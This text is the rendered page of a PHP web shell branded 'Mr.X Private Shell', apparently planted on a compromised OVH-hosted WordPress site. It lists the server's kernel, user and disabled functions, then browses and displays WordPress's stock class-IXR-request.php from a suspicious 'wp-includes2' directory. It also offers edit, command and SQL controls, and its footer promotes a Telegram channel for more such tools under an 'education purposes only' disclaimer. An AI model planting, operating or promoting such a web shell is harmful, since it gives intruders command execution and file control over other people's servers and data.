Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-includes2/IXR/      ( Reset | Go to )
File Name: class-IXR-request.php
Edit
<?php

/**
 * IXR_Request
 *
 * @package IXR
 * @since 1.5.0
 */
class IXR_Request
{
    var 
$method;
    var 
$args;
    var 
$xml;

    
/**
     * PHP5 constructor.
     */
    
function __construct($method$args)
    {
        
$this->method $method;
        
$this->args $args;
        
$this->xml = <<<EOD
<?xml version="1.0"?>
<methodCall>
<methodName>
{$this->method}</methodName>
<params>

EOD;
        foreach (
$this->args as $arg) {
            
$this->xml .= '<param><value>';
            
$v = new IXR_Value($arg);
            
$this->xml .= $v->getXml();
            
$this->xml .= "</value></param>\n";
        }
        
$this->xml .= '</params></methodCall>';
    }

    
/**
     * PHP4 constructor.
     */
    
public function IXR_Request$method$args ) {
        
self::__construct$method$args );
    }

    function 
getLength()
    {
        return 
strlen($this->xml);
    }

    function 
getXml()
    {
        return 
$this->xml;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL